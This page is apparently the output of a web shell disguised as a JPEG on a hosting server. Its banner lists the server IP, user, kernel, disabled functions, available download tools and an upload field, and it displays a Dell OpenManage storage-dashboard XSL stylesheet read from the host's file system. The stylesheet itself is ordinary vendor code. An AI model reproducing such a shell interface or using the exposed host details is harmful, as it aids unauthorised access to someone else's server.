����JFIF��x�x����'
| Server IP : 78.140.185.180 / Your IP : 216.73.216.28 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /proc/3357889/root/opt/dell/srvadmin/var/lib/openmanage/xslroot/sm/template/common/ |
Upload File : |
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:fo="http://www.w3.org/1999/XSL/Format">
<xsl:import href="Utils.xsl"/>
<xsl:output method="xml"/>
<xsl:strip-space elements="*"/>
<xsl:variable name="GLOBAL_VAR_LOCALE"><xsl:value-of select="/OMA/Locale"/></xsl:variable>
<xsl:template match="/OMA">
<xsl:variable name="isCluster">
<xsl:choose>
<xsl:when test="substring(/OMA/ArrayInfo/Controllers/DCStorageObject/AttributesMask,32,1)!='0'">1</xsl:when>
<xsl:otherwise>0</xsl:otherwise>
</xsl:choose>
</xsl:variable>
<xsl:variable name="checkAdmin">
<xsl:choose>
<xsl:when test="OMAUserRights = '7'">true</xsl:when>
<xsl:otherwise>false</xsl:otherwise>
</xsl:choose>
</xsl:variable>
<xsl:variable name="GLOBAL_VAR_AttributeMask"><xsl:value-of select="/OMA/ArrayInfo/Controllers/DCStorageObject/AttributesMask"/></xsl:variable>
<xsl:variable name="GLOBAL_VAR_ConfigLockDown">
<xsl:choose>
<xsl:when test="/OMA/ArrayInfo/Controllers/DCStorageObject/ConfigLockDown and /OMA/ArrayInfo/Controllers/DCStorageObject/ConfigLockDown ='1'">1</xsl:when>
<xsl:otherwise>0</xsl:otherwise>
</xsl:choose>
</xsl:variable>
<xsl:variable name="GLOBAL_VAR_ControllerDKMCapable">
<xsl:choose>
<xsl:when test="substring($GLOBAL_VAR_AttributeMask,3,1)='1'">1</xsl:when>
<xsl:otherwise>0</xsl:otherwise>
</xsl:choose>
</xsl:variable>
<DataArea exportdata="false">
<!-- The call to the scripts template is needed to include the new common javascript function GetLocalUrl( ) for error handling -->
<!-- This call must reside within the <DataArea> tag -->
<xsl:call-template name="scripts"/>
<script language="javascript">
function onExecuteController(name, oid, IsDeleteSecurityKeyEnabled,SecurityAction)
{
var cluster = document.getElementById("ClusterMode"+oid).value;
var confirmreponse = 0;
var action = document.getElementById("CtrlTasks" + oid).value;
var origurl = GetLocalUrl();
if (action == "-")
{
alert("<xsl:value-of select="$strError"/>" + "<xsl:value-of select="$strSelectValidTask"/>");
}
else if (action =="64")
{ //create vd
// need a cluster check.
if(cluster == 1)
{
msg = "<xsl:value-of select="$strClusterCreate"/>";
confirmresponse = confirm(msg);
}
if((cluster == 1 && confirmresponse) || cluster == 0)
{
var origurl = GetLocalUrl(); //original URL
<!--document.location.href ="./DataArea?plugin=com.dell.sm.webplugins.CreateVDExpressWebPlugin&ControllerOID=" + oid + "&ControllerName=" + name + "&help=vdmgmt&OrigURL="+origurl;-->
document.dataarea.action = top.gnv.appendVID("./SubmitForm?plugin=com.dell.sm.webplugins.LaunchCreateVDWizardSubmitWebPlugin&ControllerOID=" + oid + "&ControllerName=" + name + "&OrigURL=" + origurl );
document.dataarea.submit();
}
}
else if (action == "128")
{ //reset config
// need a cluster check.
if(cluster == 1)
{
msg = "<xsl:value-of select="$strClusterResetCnfg"/>";
confirmresponse = confirm(msg);
}
if((cluster == 1 && confirmresponse) || cluster == 0)
{
document.location.href = top.gnv.appendVID("./DataArea?plugin=com.dell.sm.webplugins.ConfirmResetConfWebPlugin&ControllerOID=" + oid + "&ControllerName=" + name + "&help=cntkrset&BackTo="+origurl+"&OrigUrl="+origurl);
}
}
else if (action == "32") { //set rebuild rate
document.location.href = top.gnv.appendVID("./DataArea?plugin=com.dell.sm.webplugins.SetRebuildRateWebPlugin&ControllerOID=" + oid + "&ControllerName=" + name + "&help=cntkrbld&RebuildRate=" + document.getElementById("RebuildRate"+oid).value);
}
else if (action == "8192") { //set bgi rate
document.location.href = top.gnv.appendVID("./DataArea?plugin=com.dell.sm.webplugins.SetCtrlRateAttribWebPlugin&ControllerOID=" + oid + "&ControllerName=" + name + "&Action=" + action + "&help=cntkbgi&Rate=" + document.getElementById("BGIRate"+oid).value);
}
else if (action == "16384") { //set checkconsistency rate
document.location.href = top.gnv.appendVID("./DataArea?plugin=com.dell.sm.webplugins.SetCtrlRateAttribWebPlugin&ControllerOID=" + oid + "&ControllerName=" + name + "&Action=" + action + "&help=cntkchk&Rate=" + document.getElementById("CheckConsistencyRate"+oid).value);
}
else if (action == "65536") { //set reconstruct rate
document.location.href = top.gnv.appendVID("./DataArea?plugin=com.dell.sm.webplugins.SetCtrlRateAttribWebPlugin&ControllerOID=" + oid + "&ControllerName=" + name + "&Action=" + action + "&help=cntkrcn&Rate=" + document.getElementById("ReconstructRate"+oid).value);
}
else if (action == "1") { //controller rescan
document.location.href = top.gnv.appendVID("./DataArea?plugin=com.dell.sm.webplugins.ConfirmCtrlRescanWebPlugin&ControllerOID=" + oid + "&ControllerName=" + name + "&Action="+action+"&help=cnprin&BackTo="+origurl+"&OrigUrl="+origurl);
}
else if ((action == "4") || (action == 8) || (action == 16) || (action == 1024) || (action == 2048)) {
//will eventually make this default...rescan, enable, disable, quiet alarm, resume, test alarm i/o
document.dataarea.action = top.gnv.appendVID("./SubmitForm?plugin=com.dell.sm.webplugins.ControllerExecWebPlugin&ControllerOID=" + oid + "&ControllerName=" + name + "&Action="+action+"&help=cnprin&BackTo="+origurl+"&OrigUrl="+origurl);
document.dataarea.submit();
}
else if (action == "256") { //export log
var isPERC12=0;
<xsl:for-each select="//ArrayInfo/Controllers/DCStorageObject">
if(name == ('<xsl:value-of select="Name"/>'))
{
<xsl:if test="(substring(AttributesMask1,14,1)='1') and (VendorID = '9')">
isPERC12='<xsl:choose><xsl:when test="substring(AttributesMask1,14,1)='1'">1</xsl:when><xsl:otherwise>0</xsl:otherwise></xsl:choose>';
</xsl:if>
}
document.location.href = top.gnv.appendVID("./DataArea?plugin=com.dell.sm.webplugins.CtrlExportLogWebPlugin&ControllerOID=" + oid + "&ControllerName=" + name + "&isPERC12Present=" + isPERC12 + "&help=cntklog");
</xsl:for-each>
}
else if (action == "8388608") { //clear foreign config
document.location.href = top.gnv.appendVID("./DataArea?plugin=com.dell.sm.webplugins.CtrlConfirmForeignConfigWebPlugin&ControllerOID=" + oid + "&ControllerName=" + name + "&Action=" + action +"&help=cntkclfc"+"&BackTo="+origurl+"&OrigUrl="+origurl);
}
else if (action == "16777216") { //import foreign config
document.location.href = top.gnv.appendVID("./DataArea?plugin=com.dell.sm.webplugins.CtrlConfirmForeignConfigWebPlugin&ControllerOID=" + oid + "&ControllerName=" + name + "&Action=" + action +"&help=cntkimfc"+"&BackTo="+origurl+"&OrigUrl="+origurl);
}
else if (action == "33554432") { //forced import foreign config
document.location.href = top.gnv.appendVID("./DataArea?plugin=com.dell.sm.webplugins.CtrlConfirmForeignConfigWebPlugin&ControllerOID=" + oid + "&ControllerName=" + name + "&Action=" + action +"&help=cntkimfc"+"&BackTo="+origurl+"&OrigUrl="+origurl);
}
else if (action == "536870912") { //foreign config operations
var ForeignSEDPresent=0;
<xsl:for-each select="//ArrayInfo/Controllers/DCStorageObject">
if(oid == ("."+'<xsl:value-of select="GlobalNo"/>'))
{
<xsl:if test="substring(AttributesMask,5,1)='1'">
ForeignSEDPresent=1;
SecurityKeyPresent='<xsl:choose><xsl:when test="substring(AttributesMask,8,1)='1' and substring(AttributesMask,9,1)='1' ">1</xsl:when><xsl:otherwise>0</xsl:otherwise></xsl:choose>';
</xsl:if>
}
</xsl:for-each>
if(ForeignSEDPresent=="1")
{
document.location.href = top.gnv.appendVID("./DataArea?plugin=com.dell.sm.webplugins.SEDForeignConfigWebPlugin&ControllerOID=" + oid + "&ControllerName=" + name + "&Action=" + action+"&SecurityKeyPresent="+SecurityKeyPresent+"&help=cntkipfc"+"&BackTo="+origurl+"&OrigUrl="+origurl);
}
else
{
document.location.href = top.gnv.appendVID("./DataArea?plugin=com.dell.sm.webplugins.ImportPreviewWebPlugin&ControllerOID=" + oid + "&ControllerName=" + name + "&Action=" + action +"&help=cntkipfc"+"&BackTo="+origurl+"&OrigUrl="+origurl);
}
}
else if (action == "2097152") { //start patrol read
document.location.href = top.gnv.appendVID("./DataArea?plugin=com.dell.sm.webplugins.CtrlConfirmStartStopPatReadWebPlugin&ControllerOID=" + oid + "&ControllerName=" + name + "&Action=" + action +"&help=cntkpats"+"&BackTo="+origurl+"&OrigUrl="+origurl);
}
else if (action == "4194304") { //stop patrol read
document.location.href = top.gnv.appendVID("./DataArea?plugin=com.dell.sm.webplugins.CtrlConfirmStartStopPatReadWebPlugin&ControllerOID=" + oid + "&ControllerName=" + name + "&Action=" + action +"&help=cntkpats"+"&BackTo="+origurl+"&OrigUrl="+origurl);
}
else if (action == "1048576") { //set patrol read mode
document.location.href = top.gnv.appendVID("./DataArea?plugin=com.dell.sm.webplugins.SetCtrlPatReadModeWebPlugin&ControllerOID=" + oid + "&ControllerName=" + name + "&Action=" + action + "&PatrolReadMode="+ document.getElementById("PatrolReadMode"+oid).value + "&PatrolReadModeMask="+ document.getElementById("PatrolReadModeMask"+oid).value + "&help=cntkpatm"+"&BackTo="+origurl+"&OrigUrl="+origurl);
}
else if (action == "67108864") { //change controller properties 6.0 changes
document.location.href = top.gnv.appendVID("./DataArea?plugin=com.dell.sm.webplugins.ChangeControllerPropertiesWebPlugin&ControllerOID=" + oid + "&ControllerName="+ name+"&BackTo="+origurl+"&OrigUrl="+origurl+"&help=cntkchcp");
}
else if (action == "268435456") { //Pinned Cached
document.location.href = top.gnv.appendVID("./DataArea?plugin=com.dell.sm.webplugins.CtrlManagePinnedCacheWebPlugin&ControllerOID=" + oid + "&ControllerName=" + name + "&OrigURL=" + origurl+"&BackTo="+origurl+"&OrigUrl="+origurl+"&help=cntkmpic");
}
else if (action == "1073741824") { // Security Key Management
document.location.href = top.gnv.appendVID("./DataArea?plugin=com.dell.sm.webplugins.SecurityKeyManagementWebPlugin&Action="+SecurityAction+"&ControllerOID=" + oid + "&ControllerName=" + name +"&IsDeleteSecurityKeyEnabled="+IsDeleteSecurityKeyEnabled+"&help=sedkey&BackTo="+origurl+"&OrigUrl="+origurl);
}
else if (action == "131072") { // Occupancy Slot Report
document.location.href = top.gnv.appendVID("./DataArea?plugin=com.dell.sm.webplugins.OccupancySlotReportWebPlugin&ControllerOID=" + oid + "&ControllerName=" + name + "&Action=" + action +"&help=cntkvsor"+"&BackTo="+origurl+"&OrigUrl="+origurl);
}
else if (action == "2147483648") { //Dimmer Switch
document.location.href = top.gnv.appendVID("./DataArea?plugin=com.dell.sm.webplugins.PhysicalDiskPowerManagementWebPlugin&ControllerOID=" + oid + "&ControllerName=" + name + "&help=cntkmpdp"+"&BackTo="+origurl+"&OrigUrl="+origurl);
}
else if (action == "2147483649") { //Manage SSC
document.location.href = top.gnv.appendVID("./DataArea?plugin=com.dell.sm.webplugins.VDInfoWebPlugin&ControllerOID=" + oid + "&ControllerName=" + name + "&help=cacheca1"+"&ManageSSC=1"+"&BackTo="+origurl+"&OrigUrl="+origurl);
}
else if (action == "2147483650") { //Convert multiple Non-Raid to Raid
document.location.href = top.gnv.appendVID("./DataArea?plugin=com.dell.sm.webplugins.MultipleRaidToNonRaidWebPlugin&ControllerOID=" + oid + "&ControllerName=" + name + "&convertOption=1&help=cntkctr&OrigURL=" + origurl+"&BackTo="+origurl+"&OrigUrl="+origurl);
}
else if (action == "2147483652") { //Convert multiple Raid to Non-Raid
document.location.href = top.gnv.appendVID("./DataArea?plugin=com.dell.sm.webplugins.MultipleRaidToNonRaidWebPlugin&ControllerOID=" + oid + "&ControllerName=" + name + "&convertOption=2&help=cntkctnr&OrigURL=" + origurl+"&BackTo="+origurl+"&OrigUrl="+origurl);
}
else if (action == "2147483656")
{
//set Controller mode
document.location.href = top.gnv.appendVID("./DataArea?plugin=com.dell.sm.webplugins.SetControllerModeWebPlugin&ControllerOID=" + oid + "&ControllerName=" + name + "&Action=" + action + "&help=cntkpatm"+"&BackTo="+origurl+"&OrigUrl="+origurl);
}
else if(action == "2147483664")
{
//Initiating Auto Configure RAID 0
document.location.href = top.gnv.appendVID("./DataArea?plugin=com.dell.sm.webplugins.SetControllerAutoConfigRaidZeroWebPlugin&ControllerOID=" + oid + "&ControllerName=" + name + "&Action=" + action + "&help=autoconfraid0"+"&BackTo="+origurl+"&OrigUrl="+origurl);
}
else if(action == "2147485696")
{
//Initiating Set Auto Configure Behavior
document.location.href = top.gnv.appendVID("./DataArea?plugin=com.dell.sm.webplugins.SetControllerAutoConfigureBehaviorWebPlugin&ControllerOID=" + oid + "&ControllerName=" + name + "&Action=" + action +"&AttributesMask1=<xsl:value-of select="//AttributesMask1"/>&AutoconfigureBehavior=<xsl:value-of select="//AutoconfigureBehavior"/>&help=autoconfigurebehavior&BackTo="+origurl + "&OrigUrl=" + origurl);
}
else {
// Should never get here
alert("<xsl:value-of select="$strError"/>" + "<xsl:value-of select="$strSelectValidTask"/>");
}
}
function onExecuteReport(name, oid, sasaddress, busProtocol, zoneOffsetStart, zoneOffsetEnd)
{
var reportaction = document.getElementById("CtrlReports" + oid).value;
var origurl = GetLocalUrl();
if (reportaction == "-")
{
alert("<xsl:value-of select="$strError"/>" + "<xsl:value-of select="$strSelectValidTask"/>");
}
else if (reportaction == "2")
{
//view patrol read report
document.location.href = top.gnv.appendVID("./DataArea?plugin=com.dell.sm.webplugins.PRCCReportWebPlugin&ControllerOID=" + oid + "&ControllerName=" + name + "&ReportType=" + reportaction + "&SASAddress=" + sasaddress +"&help=cntkprr"+"&BackTo="+origurl);
}
else if (reportaction == "4")
{
//view check consistency report
document.location.href = top.gnv.appendVID("./DataArea?plugin=com.dell.sm.webplugins.PRCCReportWebPlugin&ControllerOID=" + oid + "&ControllerName=" + name + "&ReportType=" + reportaction + "&SASAddress=" + sasaddress +"&help=cntkccr"+"&BackTo="+origurl);
}
else if (reportaction == "8")
{
//view slot occpancy report
document.location.href = top.gnv.appendVID("./DataArea?plugin=com.dell.sm.webplugins.OccupancySlotReportWebPlugin&ControllerOID=" + oid + "&ControllerName=" + name + "&ReportType=" + reportaction +"&help=cntkvsor"+"&BackTo=" + origurl + "&BusProtocol="+busProtocol + "&ZoneOffsetStart=" + zoneOffsetStart + "&ZoneOffsetEnd=" + zoneOffsetEnd);
}
else if (reportaction == "16")
{
//view physical disk firmware version report
document.location.href = top.gnv.appendVID("./DataArea?plugin=com.dell.sm.webplugins.HDDFirmwareVersionReportWebPlugin&ControllerOID=" + oid + "&ControllerName=" + name + "&ReportType=" + reportaction +"&help=hddfirm"+"&BackTo="+origurl);
}
else
{
// Should never get here
alert("<xsl:value-of select="$strError"/>" + "<xsl:value-of select="$strSelectValidTask"/>");
}
}
function RedirectToAlertLog()
{
document.location.href =top.gnv.appendVID("./DataArea?plugin=com.dell.oma.webplugins.AlertLogWebPlugin&help=AlertLog&app=hip&ct=System&snb=Logs&lsnb=AlertLog");
}
</script>
<PageTitle>
<xsl:attribute name="display"><xsl:value-of select="$strStorageDashboard"/></xsl:attribute>
</PageTitle>
<!-- Add set hotspare policy button when any SAS controller is present -->
<xsl:variable name="CurrentStorMask">
<xsl:value-of select="/OMA/StorageInfo/DCStorageObject/CurrentMethodMask"/>
</xsl:variable>
<xsl:if test="substring($CurrentStorMask,29,1)='1' and $GLOBAL_VAR_ConfigLockDown != '1'">
<CustomButton align="left">
<Data name="HSPolicy" formSubmit="true">
<xsl:choose>
<xsl:when test="$checkAdmin='true'">
<xsl:attribute name="display"><xsl:value-of select="$strSetHSProtectionPolicy"/></xsl:attribute>
</xsl:when>
<xsl:otherwise>
<xsl:attribute name="display"><xsl:value-of select="$strViewHSProtectionPolicy"/></xsl:attribute>
</xsl:otherwise>
</xsl:choose>
<xsl:attribute name="href">./DataArea?plugin=com.dell.sm.webplugins.SetHSProtectionPolicyWebplugin&BackTo=./DataArea?plugin=com.dell.sm.webplugins.OMSSHealthWebPlugin!help=stprhl&help=hsppol</xsl:attribute>
</Data>
</CustomButton>
</xsl:if>
<xsl:if test="$GLOBAL_VAR_ControllerDKMCapable='1' and $checkAdmin='true'">
<CustomButton align="left">
<Data name="EncryptionKey" formSubmit="true">
<xsl:attribute name="display"><xsl:value-of select="$strEncryptKeySettings"/></xsl:attribute>
<xsl:attribute name="href">./DataArea?plugin=com.dell.sm.webplugins.DisplayEncryptionWebplugin&BackTo=./DataArea?plugin=com.dell.sm.webplugins.OMSSHealthWebPlugin!help=stprhl&help=hsppol</xsl:attribute>
</Data>
</CustomButton>
</xsl:if>
<xsl:if test="(substring($CurrentStorMask,28,1)='1' and $GLOBAL_VAR_ConfigLockDown != '1') and $checkAdmin='true'">
<CustomButton align="left">
<Data name="RRWEThreshold" formSubmit="true">
<xsl:attribute name="display"><xsl:value-of select="$strSetRemainingRatedWriteEndurance"/></xsl:attribute>
<xsl:attribute name="href">./DataArea?plugin=com.dell.sm.webplugins.SetRemainingRatedWriteEnduranceWebPlugin&BackTo=./DataArea?plugin=com.dell.sm.webplugins.OMSSHealthWebPlugin!help=stprhl&help=rrwethrld</xsl:attribute>
</Data>
</CustomButton>
</xsl:if>
<xsl:if test="(substring($CurrentStorMask,27,1)='1' and $GLOBAL_VAR_ConfigLockDown != '1') and $checkAdmin='true'">
<CustomButton align="left">
<Data name="AvblSpareThreshold" formSubmit="true">
<xsl:attribute name="display"><xsl:value-of select="$strSetAvailableSpareThreshold"/></xsl:attribute>
<xsl:attribute name="href">./DataArea?plugin=com.dell.sm.webplugins.SetAvailableSpareThresholdWebPlugin&BackTo=./DataArea?plugin=com.dell.sm.webplugins.OMSSHealthWebPlugin!help=stprhl&help=availsparethrld</xsl:attribute>
</Data>
</CustomButton>
</xsl:if>
<CustomButton>
<Data name="AlertLog" formSubmit="false">
<xsl:attribute name="display"><xsl:value-of select="$strAlertLog"/></xsl:attribute>
<xsl:attribute name="href">javascript:parent.ct.select('System', 'Logs', 'AlertLog');</xsl:attribute>
</Data>
</CustomButton>
<CustomButton>
<Data name="Refresh">
<xsl:attribute name="display"><xsl:value-of select="$strRefresh"/></xsl:attribute>
</Data>
</CustomButton>
<xsl:choose>
<xsl:when test="count(.//ArrayInfo) = '0'">
<AlertMessage>
<xsl:attribute name="display"><xsl:value-of select="$strNoStorageController"/></xsl:attribute>
</AlertMessage>
</xsl:when>
<xsl:otherwise>
<PromptText><xsl:value-of select="$strDescriptionDetail"/></PromptText>
<xsl:if test="ArrayInfo/Controllers[DCStorageObject/BusProtocol != '9']">
<SelectionData>
<SubHeader>
<xsl:attribute name="display"><xsl:value-of select="$strRAIDControllers"/></xsl:attribute>
</SubHeader>
<SelectionTable>
<Header>
<Data>
<xsl:attribute name="value"><xsl:value-of select="$strSeverity"/></xsl:attribute>
</Data>
</Header>
<xsl:choose>
<xsl:when test="SortHealthComp='true'">
<xsl:for-each select="ArrayInfo/Controllers[DCStorageObject/BusProtocol != '9' or not(DCStorageObject/BusProtocol)]">
<xsl:sort select="@ControllerName" order="ascending"/>
<xsl:sort select="DCStorageObject/PCISlot"/>
<xsl:call-template name="Component">
<xsl:with-param name="DCSObject" select="DCStorageObject"/>
<xsl:with-param name="tasks"><xsl:value-of select="$checkAdmin"/></xsl:with-param>
</xsl:call-template>
</xsl:for-each>
</xsl:when>
<xsl:otherwise>
<xsl:for-each select="ArrayInfo/Controllers[DCStorageObject/BusProtocol != '9' or not(DCStorageObject/BusProtocol)]">
<xsl:sort select="DCStorageObject/PCISlot"/>
<xsl:call-template name="Component">
<xsl:with-param name="DCSObject" select="DCStorageObject"/>
<xsl:with-param name="tasks"><xsl:value-of select="$checkAdmin"/></xsl:with-param>
</xsl:call-template>
</xsl:for-each>
</xsl:otherwise>
</xsl:choose>
</SelectionTable>
</SelectionData>
</xsl:if>
<xsl:if test="ArrayInfo/Controllers[DCStorageObject/BusProtocol = '9']">
<SelectionData>
<SubHeader>
<xsl:attribute name="display"><xsl:value-of select="$strPCIeSSD"/></xsl:attribute>
</SubHeader>
<SelectionTable>
<Header>
<Data>
<xsl:attribute name="value"><xsl:value-of select="$strSeverity"/></xsl:attribute>
</Data>
</Header>
<xsl:choose>
<xsl:when test="SortHealthComp='true'">
<xsl:for-each select="ArrayInfo/Controllers[DCStorageObject/BusProtocol = '9']">
<xsl:call-template name="PCIESSDComponent">
<xsl:with-param name="DCSObject" select="DCStorageObject"/>
<xsl:with-param name="tasks"><xsl:value-of select="$checkAdmin"/></xsl:with-param>
</xsl:call-template>
</xsl:for-each>
</xsl:when>
<xsl:otherwise>
<xsl:for-each select="ArrayInfo/Controllers[DCStorageObject/BusProtocol = '9']">
<xsl:call-template name="PCIESSDComponent">
<xsl:with-param name="DCSObject" select="DCStorageObject"/>
<xsl:with-param name="tasks"><xsl:value-of select="$checkAdmin"/></xsl:with-param>
</xsl:call-template>
</xsl:for-each>
</xsl:otherwise>
</xsl:choose>
</SelectionTable>
</SelectionData>
</xsl:if>
<xsl:if test="ArrayInfo/Controllers[DCStorageObject/ObjType='786']">
<SelectionData>
<SubHeader>
<xsl:attribute name="display"><xsl:value-of select="$strFluidCacheComponent"/></xsl:attribute>
</SubHeader>
<SelectionTable>
<Header>
<Data>
<xsl:attribute name="value"><xsl:value-of select="$strSeverity"/></xsl:attribute>
</Data>
</Header>
<xsl:choose>
<xsl:when test="SortHealthComp='true'">
<xsl:for-each select="ArrayInfo/Controllers[DCStorageObject/ObjType='786']">
<xsl:call-template name="FluidCacheComponent">
<xsl:with-param name="DCSObject" select="DCStorageObject"/>
<xsl:with-param name="tasks"><xsl:value-of select="$checkAdmin"/></xsl:with-param>
</xsl:call-template>
</xsl:for-each>
</xsl:when>
<xsl:otherwise>
<xsl:for-each select="ArrayInfo/Controllers[DCStorageObject/ObjType='786']">
<xsl:call-template name="FluidCacheComponent">
<xsl:with-param name="DCSObject" select="DCStorageObject"/>
<xsl:with-param name="tasks"><xsl:value-of select="$checkAdmin"/></xsl:with-param>
</xsl:call-template>
</xsl:for-each>
</xsl:otherwise>
</xsl:choose>
</SelectionTable>
</SelectionData>
</xsl:if>
</xsl:otherwise>
</xsl:choose>
<HiddenTable>
<!--This creates a hidden table that maps a "controller oid" to the "max size possible" for that layout/-->
<xsl:for-each select="/OMA/ArrayInfo/Controllers/DCStorageObject"><xsl:call-template name="getClusterModeGivenControllerOID_HIDDEN_TABLE"/></xsl:for-each>
<xsl:for-each select="/OMA/ArrayInfo/Controllers/DCStorageObject"><xsl:call-template name="getRebuildRateGivenControllerOID_HIDDEN_TABLE"/></xsl:for-each>
<xsl:for-each select="/OMA/ArrayInfo/Controllers/DCStorageObject"><xsl:call-template name="getReconstructRateGivenControllerOID_HIDDEN_TABLE"/></xsl:for-each>
<xsl:for-each select="/OMA/ArrayInfo/Controllers/DCStorageObject"><xsl:call-template name="getBGIRateGivenControllerOID_HIDDEN_TABLE"/></xsl:for-each>
<xsl:for-each select="/OMA/ArrayInfo/Controllers/DCStorageObject"><xsl:call-template name="getChkConsistencyRateGivenControllerOID_HIDDEN_TABLE"/></xsl:for-each>
<xsl:for-each select="/OMA/ArrayInfo/Controllers/DCStorageObject"><xsl:call-template name="getPatrolReadModeGivenControllerOID_HIDDEN_TABLE"/></xsl:for-each>
<xsl:for-each select="/OMA/ArrayInfo/Controllers/DCStorageObject"><xsl:call-template name="getPatrolReadModeMaskGivenControllerOID_HIDDEN_TABLE"/></xsl:for-each>
</HiddenTable>
</DataArea>
</xsl:template>
<xsl:template name="getPatrolReadModeGivenControllerOID_HIDDEN_TABLE">
<xsl:variable name="OID"><xsl:call-template name="ModNexus"><xsl:with-param name="nexus" select="Nexus"/></xsl:call-template></xsl:variable>
<Data type="hidden">
<xsl:attribute name="name">PatrolReadMode<xsl:value-of select="$OID"/></xsl:attribute>
<xsl:attribute name="returnvalue"><xsl:choose><xsl:when test="PatrolReadMode"><xsl:value-of select="PatrolReadMode"/></xsl:when><xsl:otherwise><xsl:value-of select="$strUnknown"/></xsl:otherwise></xsl:choose></xsl:attribute>
</Data>
</xsl:template>
<xsl:template name="getPatrolReadModeMaskGivenControllerOID_HIDDEN_TABLE">
<xsl:variable name="OID"><xsl:call-template name="ModNexus"><xsl:with-param name="nexus" select="Nexus"/></xsl:call-template></xsl:variable>
<Data type="hidden">
<xsl:attribute name="name">PatrolReadModeMask<xsl:value-of select="$OID"/></xsl:attribute>
<xsl:attribute name="returnvalue"><xsl:choose><xsl:when test="PatrolReadModeMask"><xsl:value-of select="PatrolReadModeMask"/></xsl:when><xsl:otherwise><xsl:value-of select="$strUnknown"/></xsl:otherwise></xsl:choose></xsl:attribute>
</Data>
</xsl:template>
<xsl:template name="getChkConsistencyRateGivenControllerOID_HIDDEN_TABLE">
<xsl:variable name="OID"><xsl:call-template name="ModNexus"><xsl:with-param name="nexus" select="Nexus"/></xsl:call-template></xsl:variable>
<Data type="hidden">
<xsl:attribute name="name">CheckConsistencyRate<xsl:value-of select="$OID"/></xsl:attribute>
<xsl:attribute name="returnvalue"><xsl:choose><xsl:when test="CheckConsistencyRate"><xsl:value-of select="CheckConsistencyRate"/></xsl:when><xsl:otherwise><xsl:value-of select="$strUnknown"/></xsl:otherwise></xsl:choose></xsl:attribute>
</Data>
</xsl:template>
<xsl:template name="getBGIRateGivenControllerOID_HIDDEN_TABLE">
<xsl:variable name="OID"><xsl:call-template name="ModNexus"><xsl:with-param name="nexus" select="Nexus"/></xsl:call-template></xsl:variable>
<Data type="hidden">
<xsl:attribute name="name">BGIRate<xsl:value-of select="$OID"/></xsl:attribute>
<xsl:attribute name="returnvalue"><xsl:choose><xsl:when test="BGIRate"><xsl:value-of select="BGIRate"/></xsl:when><xsl:otherwise><xsl:value-of select="$strUnknown"/></xsl:otherwise></xsl:choose></xsl:attribute>
</Data>
</xsl:template>
<xsl:template name="getReconstructRateGivenControllerOID_HIDDEN_TABLE">
<xsl:variable name="OID"><xsl:call-template name="ModNexus"><xsl:with-param name="nexus" select="Nexus"/></xsl:call-template></xsl:variable>
<Data type="hidden">
<xsl:attribute name="name">ReconstructRate<xsl:value-of select="$OID"/></xsl:attribute>
<xsl:attribute name="returnvalue"><xsl:choose><xsl:when test="ReconstructRate"><xsl:value-of select="ReconstructRate"/></xsl:when><xsl:otherwise><xsl:value-of select="$strUnknown"/></xsl:otherwise></xsl:choose></xsl:attribute>
</Data>
</xsl:template>
<xsl:template name="getRebuildRateGivenControllerOID_HIDDEN_TABLE">
<xsl:variable name="OID"><xsl:call-template name="ModNexus"><xsl:with-param name="nexus" select="Nexus"/></xsl:call-template></xsl:variable>
<Data type="hidden">
<xsl:attribute name="name">RebuildRate<xsl:value-of select="$OID"/></xsl:attribute>
<xsl:attribute name="returnvalue"><xsl:choose><xsl:when test="RebuildRate"><xsl:value-of select="RebuildRate"/></xsl:when><xsl:otherwise><xsl:value-of select="$strUnknown"/></xsl:otherwise></xsl:choose></xsl:attribute>
</Data>
</xsl:template>
<xsl:template name="getClusterModeGivenControllerOID_HIDDEN_TABLE">
<xsl:variable name="OID"><xsl:call-template name="ModNexus"><xsl:with-param name="nexus" select="Nexus"/></xsl:call-template></xsl:variable>
<Data type="hidden">
<xsl:attribute name="name">ClusterMode<xsl:value-of select="$OID"/></xsl:attribute>
<xsl:attribute name="returnvalue"><xsl:value-of select="substring(AttributesMask,32,1)"/></xsl:attribute>
</Data>
</xsl:template>
<xsl:template name="Component">
<xsl:param name="DCSObject"/>
<xsl:param name="tasks"/>
<xsl:variable name="ObjID">
<xsl:call-template name="ModNexus">
<xsl:with-param name="nexus" select="$DCSObject/Nexus"/>
</xsl:call-template>
</xsl:variable>
<xsl:variable name="IsDeleteSecurityKeyEnabled">
<xsl:call-template name="IsDeleteSecurityKeyPossible">
<xsl:with-param name="Mask" select="$DCSObject/AttributesMask"/>
</xsl:call-template>
</xsl:variable>
<Row tree="expand">
<xsl:attribute name="name">controllergroup<xsl:value-of select="$ObjID"/>treecontrol</xsl:attribute>
<SelectDataItem>
<Data type="icon" align="left" width="20" height="1">
<xsl:attribute name="value"><xsl:call-template name="getIcon1"><xsl:with-param name="status"><xsl:value-of select="$DCSObject/TreeStatus"/></xsl:with-param></xsl:call-template></xsl:attribute>
</Data>
</SelectDataItem>
<ColumnData>
<Data align="left" width="170" height="1">
<xsl:attribute name="value"><xsl:value-of select="@ControllerName"/></xsl:attribute>
<xsl:attribute name="link">true</xsl:attribute>
<xsl:attribute name="href">javascript:parent.ct.select('Controller<xsl:value-of select="$ObjID"/>', 'Properties<xsl:value-of select="$ObjID"/>', 'Health<xsl:value-of select="$ObjID"/>');</xsl:attribute>
</Data>
</ColumnData>
<xsl:variable name="checkAdmin">
<xsl:choose>
<xsl:when test="OMAUserRights = '7'">true</xsl:when>
<xsl:otherwise>false</xsl:otherwise>
</xsl:choose>
</xsl:variable>
<!-- var used for hiding tasks menu option -->
<xsl:variable name="isEmpty">
<xsl:call-template name="IsCurrentMethodMaskEmpty">
<xsl:with-param name="Mask">
<xsl:value-of select="$DCSObject/CurrentMethodMask"/>
</xsl:with-param>
</xsl:call-template>
</xsl:variable>
<xsl:variable name="VAR_SecurityAction">
<xsl:choose>
<xsl:when test="substring($DCSObject/AttributesMask,8,1)='0'">CreateSecurityKey</xsl:when>
<xsl:when test="substring($DCSObject/AttributesMask,8,1)='1'">DeleteOrChangeSecurityKey</xsl:when>
</xsl:choose>
</xsl:variable>
<xsl:if test="$tasks='true'">
